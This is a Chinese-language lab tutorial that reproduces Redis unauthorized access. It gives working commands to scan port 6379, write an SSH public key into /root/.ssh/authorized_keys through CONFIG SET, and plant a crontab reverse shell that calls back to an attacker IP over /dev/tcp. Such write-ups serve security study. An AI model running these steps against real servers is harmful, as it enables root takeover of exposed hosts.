redis未授权访问漏洞复现

Redis是一个开源的key-value内存中的数据结构存储系统,可以用作缓存,或数据库,redis因为配置不当可以导致未授权访问,redis的默认端口是6379,并且redis默认配置没有密码认证,如果reids服务暴露在公网上会导致攻击者在未授权的情况下访问redis。如果redis以root身份运行,攻击者可以给root账号写入ssh公钥文件,通过ssh登录目标主机。下面是redis未授权访问漏洞的复现步骤

  1. 安装redis服务

wget http://download.redis.io/releases/**.*tar.gz  下载安装包

Tar -zxvf redis-***.tar.gz   解压安装包

Make 执行安装命令

    2. 使用nmap扫描被攻击机

Nmap -p 6379 192.168.***.*** -A

启用操作系统和版本检测,脚本扫描和路由跟踪功能,我们可以使用NMAP的“-A“选项。

redis未授权访问漏洞复现

   3. Nmap发现目标机器安装了redis的6397端口对外开发,就可以本地redis远程访问连接服务器,连接后可以获取redis敏感数据

./redis-cli -h 192.168.***.***

连接之后可以查看到目标机器的版本与服务器的内核版本信息,还可以看到redis配置文件的绝对路径

redis未授权访问漏洞复现

     4. 在本地生成公钥私钥,同时将保存的shh公钥写入到目标机redis中

Ssh -****** -t rsa  生成ssh公钥私钥

(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n” > 1.txt   将生成的公钥保存在1.txt中  

 

     5. 在reids中写入数据,将攻击机器的公钥作为value,key值随意,ssh公钥,获取操作系统的权限

Cat 1.txt | ./reids-cli -h 192.168.***.*** -x set k 把1.txt文件内容写入到目标主机的redis缓存中

-h参数指定远程reids服务器的IP地址,-x参数设置redis中的k的**值为1.txt

./redis-cli -h 192.168.56.103  连接到目标主机的redis

Get k   查看s-key中的值

Config set dir /root/.ssh  更改redis备份路径为/root/.ssh(shh公钥存放目录)

Config set dbfilename authorized_keys  设置上传公钥的备份文件名为authorized_keys

Save   将数据(缓存里面刚才写入的1.txt数据)保存在服务器的硬盘上

Config get dir 查看redis碑文文件路径

Config get dbfilename   有没有这个文件

 

   6. 这时就可以使用shh远程登录目标机器(这时可以不用密码远程登录到目标主机)

redis未授权访问漏洞复现

在/root/.ssh目录下就可以看到我们写入的文件

redis未授权访问漏洞复现

   7. 也可以在crontab里写定时任务反弹shell

Nc -lvnp 4444  在攻击机上开启nc监听

-l 使用监听模式,管控传入的资料。-n 直接使用IP地址,而不通过域名服务器-v 显示指令执行过程。。-p<通信端口> 设置本地主机使用的通信端口。

./redis-cli -h 192.168.56.103  连接redis

set s "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.56.102/4444 0>&1\n\n" 写入反弹shell

config set dir /var/spool/cron

config set dbfilename root

 

然后就可以接收到目标及的反弹shell

redis未授权访问漏洞复现